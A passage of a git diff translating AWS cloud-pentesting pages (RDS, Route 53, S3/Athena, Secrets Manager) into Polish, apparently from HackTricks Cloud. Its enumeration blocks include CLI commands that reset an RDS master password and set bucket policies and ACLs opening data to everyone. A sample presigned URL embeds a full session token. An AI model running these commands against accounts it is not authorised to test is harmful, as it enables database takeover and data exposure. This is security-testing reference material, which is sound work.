zarządzał nim w **AWS Secret Manager** zaszyfrowanym kluczem KMS
-### Authentication +### Uwierzytelnianie -There are 3 types of authentication options, but using the **master password is always allowed**: +Istnieją 3 typy opcji uwierzytelniania, ale użycie **głównego hasła jest zawsze dozwolone**:
-### Public Access & VPC +### Publiczny dostęp i VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +Domyślnie **brak publicznego dostępu** do baz danych, jednak **może być przyznany**. Dlatego domyślnie tylko maszyny z tej samej VPC będą mogły uzyskać do niej dostęp, jeśli wybrana **grupa zabezpieczeń** (przechowywana w EC2 SG) na to pozwala. -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +Zamiast narażać instancję DB, można utworzyć **RDS Proxy**, który **poprawia** **skalowalność** i **dostępność** klastra DB. -Moreover, the **database port can be modified** also. +Ponadto, **port bazy danych może być również modyfikowany**. -### Encryption +### Szyfrowanie -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**Szyfrowanie jest włączone domyślnie** przy użyciu zarządzanego klucza AWS (można wybrać CMK zamiast tego). -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +Włączając szyfrowanie, włączasz **szyfrowanie w spoczynku dla swojego przechowywania, migawków, replik odczytu i kopii zapasowych**. Klucze do zarządzania tym szyfrowaniem mogą być wydawane przy użyciu **KMS**.\ +Nie można dodać tego poziomu szyfrowania po utworzeniu bazy danych. **Musisz to zrobić podczas jej tworzenia**. -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +Jednak istnieje **obejście, które pozwala na szyfrowanie nieszyfrowanej bazy danych w następujący sposób**. Możesz utworzyć migawkę swojej nieszyfrowanej bazy danych, utworzyć zaszyfrowaną kopię tej migawki, użyć tej zaszyfrowanej migawki do utworzenia nowej bazy danych, a następnie, w końcu, twoja baza danych będzie zaszyfrowana. -#### Transparent Data Encryption (TDE) +#### Szyfrowanie danych w trybie przezroczystym (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +Obok możliwości szyfrowania inherentnych dla RDS na poziomie aplikacji, RDS obsługuje również **dodatkowe mechanizmy szyfrowania na poziomie platformy**, aby chronić dane w spoczynku. Obejmuje to **Szyfrowanie danych w trybie przezroczystym (TDE)** dla Oracle i SQL Server. Jednak ważne jest, aby zauważyć, że chociaż TDE zwiększa bezpieczeństwo poprzez szyfrowanie danych w spoczynku, może również **wpływać na wydajność bazy danych**. Ten wpływ na wydajność jest szczególnie zauważalny, gdy jest używany w połączeniu z funkcjami kryptograficznymi MySQL lub funkcjami kryptograficznymi Microsoft Transact-SQL. -To utilize TDE, certain preliminary steps are required: +Aby skorzystać z TDE, wymagane są pewne wstępne kroki: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **Stowarzyszenie grupy opcji**: +- Baza danych musi być stowarzyszona z grupą opcji. Grupy opcji służą jako kontenery dla ustawień i funkcji, ułatwiając zarządzanie bazą danych, w tym ulepszenia bezpieczeństwa. +- Jednak ważne jest, aby zauważyć, że grupy opcji są dostępne tylko dla określonych silników baz danych i wersji. +2. **Włączenie TDE w grupie opcji**: +- Po stowarzyszeniu z grupą opcji, opcja Oracle Transparent Data Encryption musi być włączona w tej grupie. +- Ważne jest, aby zrozumieć, że po dodaniu opcji TDE do grupy opcji staje się ona stałym elementem i nie może być usunięta. +3. **Tryby szyfrowania TDE**: +- TDE oferuje dwa odrębne tryby szyfrowania: +- **Szyfrowanie przestrzeni tabel TDE**: Ten tryb szyfruje całe tabele, zapewniając szerszy zakres ochrony danych. +- **Szyfrowanie kolumn TDE**: Ten tryb koncentruje się na szyfrowaniu konkretnych, indywidualnych elementów w bazie danych, co pozwala na bardziej szczegółową kontrolę nad tym, jakie dane są szyfrowane. -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. - -### Enumeration +Zrozumienie tych wymagań wstępnych i operacyjnych zawirowań TDE jest kluczowe dla skutecznego wdrażania i zarządzania szyfrowaniem w RDS, zapewniając zarówno bezpieczeństwo danych, jak i zgodność z niezbędnymi standardami. +### Enumeracja ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### Podwyższenie uprawnień {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### Po eksploatacji {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### Utrzymywanie dostępu {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### Wstrzykiwanie SQL -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Istnieją sposoby na dostęp do danych DynamoDB za pomocą **składni SQL**, dlatego typowe **wstrzykiwania SQL są również możliwe**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..4dd8b77a2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53 to usługa internetowa **Domain Name System (DNS)** w chmurze.\ +Możesz tworzyć https, http i tcp **sprawdzania stanu stron internetowych** za pomocą Route53. -### IP-based routing +### Routing oparty na IP -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. - -### Enumeration +To jest przydatne do dostosowania routingu DNS, aby podejmować najlepsze decyzje dotyczące routingu DNS dla Twoich użytkowników końcowych.\ +Routing oparty na IP oferuje dodatkową możliwość **optymalizacji routingu na podstawie specyficznej wiedzy o Twojej bazie klientów**. +### Enumeracja ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - ### Privesc {{#ref}} @@ -29,7 +27,3 @@ aws route53 list-traffic-policies {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..4eaef94c4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,144 +4,137 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3 to usługa, która pozwala **przechowywać duże ilości danych**. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 oferuje wiele opcji, aby osiągnąć **ochronę** danych w spoczynku. Opcje te obejmują **Uprawnienia** (Polityka), **Szyfrowanie** (po stronie klienta i serwera), **Wersjonowanie kubełków** oraz **usuwanie** oparte na **MFA**. **Użytkownik może włączyć** dowolną z tych opcji, aby osiągnąć ochronę danych. **Replikacja danych** to wewnętrzna funkcja AWS, w której **S3 automatycznie replikuje każdy obiekt we wszystkich Strefach Dostępności**, a organizacja nie musi jej w tym przypadku włączać. -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +Dzięki uprawnieniom opartym na zasobach możesz definiować uprawnienia dla podkatalogów swojego kubełka osobno. -### Bucket Versioning and MFA based delete +### Wersjonowanie kubełków i usuwanie oparte na MFA -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +Gdy wersjonowanie kubełków jest włączone, każda akcja, która próbuje zmienić plik wewnątrz pliku, wygeneruje nową wersję pliku, zachowując również poprzednią zawartość tego samego. Dlatego nie nadpisze jego zawartości. -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +Ponadto, usuwanie oparte na MFA zapobiegnie usunięciu wersji pliku w kubełku S3 oraz wyłączeniu wersjonowania kubełków, więc atakujący nie będzie mógł zmienić tych plików. -### S3 Access logs +### Dzienniki dostępu S3 -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +Możliwe jest **włączenie logowania dostępu S3** (które domyślnie jest wyłączone) dla niektórego kubełka i zapisanie logów w innym kubełku, aby wiedzieć, kto uzyskuje dostęp do kubełka (oba kubełki muszą znajdować się w tym samym regionie). -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### Pre-signed URLs S3 +Możliwe jest wygenerowanie pre-signed URL, który zazwyczaj może być używany do **uzyskania dostępu do określonego pliku** w kubełku. **Pre-signed URL wygląda tak**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +Aby **utworzyć presigned URL z cli przy użyciu poświadczeń podmiotu z dostępem do obiektu** (jeśli konto, którego używasz, nie ma dostępu, zostanie utworzony krótszy presigned URL, ale będzie bezużyteczny) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> Jedynym wymaganym uprawnieniem do wygenerowania presigned URL jest przyznane uprawnienie, więc dla poprzedniego polecenia jedynym wymaganym uprawnieniem przez podmiot jest `s3:GetObject` +Możliwe jest również tworzenie presigned URL z **innymi uprawnieniami**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` +### S3 Mechanizmy Szyfrowania -### S3 Encryption Mechanisms - -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK oznacza Klucz Szyfrowania Danych** i jest kluczem, który jest zawsze generowany i używany do szyfrowania danych.
-Server-side encryption with S3 managed keys, SSE-S3 +Szyfrowanie po stronie serwera z kluczami zarządzanymi przez S3, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +Ta opcja wymaga minimalnej konfiguracji, a zarządzanie kluczami szyfrowania jest obsługiwane przez AWS. Wszystko, co musisz zrobić, to **przesłać swoje dane, a S3 zajmie się wszystkimi innymi aspektami**. Każdemu koszykowi w koncie S3 przypisany jest klucz koszyka. -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- Szyfrowanie: +- Dane obiektu + utworzony jawny DEK --> Szyfrowane dane (przechowywane w S3) +- Utworzony jawny DEK + Klucz Główny S3 --> Szyfrowany DEK (przechowywany w S3) i jawny tekst jest usuwany z pamięci +- Deszyfrowanie: +- Szyfrowany DEK + Klucz Główny S3 --> Jawny DEK +- Jawny DEK + Szyfrowane dane --> Dane obiektu -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +Proszę zauważyć, że w tym przypadku **klucz jest zarządzany przez AWS** (rotacja tylko co 3 lata). Jeśli użyjesz własnego klucza, będziesz mógł rotować, dezaktywować i stosować kontrolę dostępu.
-Server-side encryption with KMS managed keys, SSE-KMS +Szyfrowanie po stronie serwera z kluczami zarządzanymi przez KMS, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +Ta metoda pozwala S3 korzystać z usługi zarządzania kluczami do generowania kluczy szyfrowania danych. KMS daje znacznie większą elastyczność w zarządzaniu kluczami. Na przykład, możesz dezaktywować, rotować i stosować kontrole dostępu do CMK oraz monitorować ich użycie za pomocą AWS Cloud Trail. -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- Szyfrowanie: +- S3 żąda kluczy danych od KMS CMK +- KMS używa CMK do generowania pary jawnego DEK i szyfrowanego DEK i wysyła je do S3 +- S3 używa jawnego klucza do szyfrowania danych, przechowuje szyfrowane dane i szyfrowany klucz oraz usuwa z pamięci jawny klucz +- Deszyfrowanie: +- S3 prosi KMS o deszyfrowanie szyfrowanego klucza danych obiektu +- KMS deszyfruje klucz danych za pomocą CMK i wysyła go z powrotem do S3 +- S3 deszyfruje dane obiektu
-Server-side encryption with customer provided keys, SSE-C +Szyfrowanie po stronie serwera z kluczami dostarczonymi przez klienta, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +Ta opcja daje Ci możliwość dostarczenia własnego klucza głównego, którego możesz już używać poza AWS. Twój klucz dostarczony przez klienta zostanie następnie wysłany z danymi do S3, gdzie S3 wykona szyfrowanie za Ciebie. -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- Szyfrowanie: +- Użytkownik wysyła dane obiektu + Klucz Klienta do S3 +- Klucz klienta jest używany do szyfrowania danych, a szyfrowane dane są przechowywane +- również przechowywana jest sól HMAC klucza klienta dla przyszłej walidacji klucza +- klucz klienta jest usuwany z pamięci +- Deszyfrowanie: +- Użytkownik wysyła klucz klienta +- Klucz jest weryfikowany w stosunku do przechowywanej wartości HMAC +- Klucz dostarczony przez klienta jest następnie używany do deszyfrowania danych
-Client-side encryption with KMS, CSE-KMS +Szyfrowanie po stronie klienta z KMS, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarządzania kluczami do generowania kluczy szyfrowania danych. Jednak tym razem KMS jest wywoływane przez klienta, a nie przez S3. Szyfrowanie odbywa się po stronie klienta, a szyfrowane dane są następnie wysyłane do S3 w celu przechowania. -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- Szyfrowanie: +- Klient żąda klucza danych od KMS +- KMS zwraca jawny DEK i szyfrowany DEK z CMK +- Oba klucze są wysyłane z powrotem +- Klient następnie szyfruje dane za pomocą jawnego DEK i wysyła do S3 szyfrowane dane + szyfrowany DEK (który jest zapisywany jako metadane szyfrowanych danych w S3) +- Deszyfrowanie: +- Szyfrowane dane z szyfrowanym DEK są wysyłane do klienta +- Klient prosi KMS o deszyfrowanie szyfrowanego klucza za pomocą CMK, a KMS wysyła z powrotem jawny DEK +- Klient może teraz deszyfrować szyfrowane dane
-Client-side encryption with customer provided keys, CSE-C +Szyfrowanie po stronie klienta z kluczami dostarczonymi przez klienta, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +Korzystając z tego mechanizmu, możesz wykorzystać własne dostarczone klucze i użyć klienta AWS-SDK do szyfrowania danych przed wysłaniem ich do S3 w celu przechowania. -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- Szyfrowanie: +- Klient generuje DEK i szyfruje jawne dane +- Następnie, używając własnego niestandardowego CMK, szyfruje DEK +- przesyła szyfrowane dane + szyfrowany DEK do S3, gdzie są przechowywane +- Deszyfrowanie: +- S3 wysyła szyfrowane dane i DEK +- Ponieważ klient już ma CMK użyty do szyfrowania DEK, deszyfruje DEK, a następnie używa jawnego DEK do deszyfrowania danych
-### **Enumeration** - -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +### **Enumeracja** +Jednym z tradycyjnych głównych sposobów kompromitacji organizacji AWS jest kompromitacja koszyków publicznie dostępnych. **Możesz znaleźć** [**enumeratory publicznych koszyków na tej stronie**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,35 +211,34 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +Możesz uzyskać dostęp do koszyka S3 za pomocą punktu końcowego dual-stack, używając nazwy punktu końcowego w stylu hostowanym wirtualnie lub w stylu ścieżki. Są one przydatne do uzyskiwania dostępu do S3 przez IPv6. -Dual-stack endpoints use the following syntax: +Punkty końcowe dual-stack używają następującej składni: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień S3, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -274,22 +266,21 @@ In the following page you can check how to **abuse S3 permissions to escalate pr ### S3 HTTP Cache Poisoning Issue -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**Zgodnie z tym badaniem**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) możliwe było buforowanie odpowiedzi z dowolnego koszyka, jakby należała do innego. Mogło to być nadużywane do zmiany na przykład odpowiedzi plików javascript i kompromitacji dowolnych stron korzystających z S3 do przechowywania statycznego kodu. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athena to interaktywny serwis zapytań, który ułatwia **analizowanie danych** bezpośrednio w Amazon Simple Storage Service (Amazon **S3**) **przy użyciu** standardowego **SQL**. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +Musisz **przygotować tabelę DB relacyjną** w formacie treści, która ma się pojawić w monitorowanych koszykach S3. A następnie Amazon Athena będzie mogła zapełnić DB z logów, abyś mógł ją zapytać. -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athena obsługuje **możliwość zapytania danych S3, które są już zaszyfrowane**, a jeśli jest to skonfigurowane, **Athena może również zaszyfrować wyniki zapytania, które mogą być następnie przechowywane w S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**To szyfrowanie wyników jest niezależne od podstawowych danych S3**, co oznacza, że nawet jeśli dane S3 nie są zaszyfrowane, wyniki zapytania mogą być zaszyfrowane. Kilka punktów, o których warto pamiętać, to to, że Amazon Athena obsługuje tylko dane, które zostały **zaszyfrowane** przy użyciu **następujących metod szyfrowania S3**, **SSE-S3, SSE-KMS i CSE-KMS**. -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. +SSE-C i CSE-E nie są obsługiwane. Oprócz tego ważne jest, aby zrozumieć, że Amazon Athena będzie wykonywać zapytania tylko przeciwko **zaszyfrowanym obiektom, które znajdują się w tym samym regionie co samo zapytanie**. Jeśli musisz zapytać dane S3, które zostały zaszyfrowane przy użyciu KMS, to wymagane są konkretne uprawnienia dla użytkownika Athena, aby umożliwić mu wykonanie zapytania. ### Enumeration - ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## Odniesienia - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..f82e1b472 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager jest zaprojektowany, aby **eliminować użycie zakodowanych na sztywno sekretów w aplikacjach, zastępując je wywołaniem API**. Ta usługa służy jako **centralne repozytorium dla wszystkich twoich sekretów**, zapewniając ich jednolite zarządzanie we wszystkich aplikacjach. -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +Menadżer upraszcza **proces rotacji sekretów**, znacznie poprawiając bezpieczeństwo wrażliwych danych, takich jak poświadczenia bazy danych. Dodatkowo, sekrety takie jak klucze API mogą być automatycznie rotowane przy integracji z funkcjami lambda. -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +Dostęp do sekretów jest ściśle kontrolowany przez szczegółowe polityki oparte na tożsamości IAM oraz polityki oparte na zasobach. -For granting access to secrets to a user from a different AWS account, it's necessary to: +Aby przyznać dostęp do sekretów użytkownikowi z innego konta AWS, konieczne jest: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. Autoryzowanie użytkownika do uzyskania dostępu do sekretu. +2. Przyznanie użytkownikowi uprawnień do odszyfrowania sekretu za pomocą KMS. +3. Modyfikacja polityki klucza, aby umożliwić zewnętrznemu użytkownikowi jego wykorzystanie. -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager integruje się z AWS KMS, aby szyfrować twoje sekrety w AWS Secrets Manager.** ### **Enumeration** - ```bash 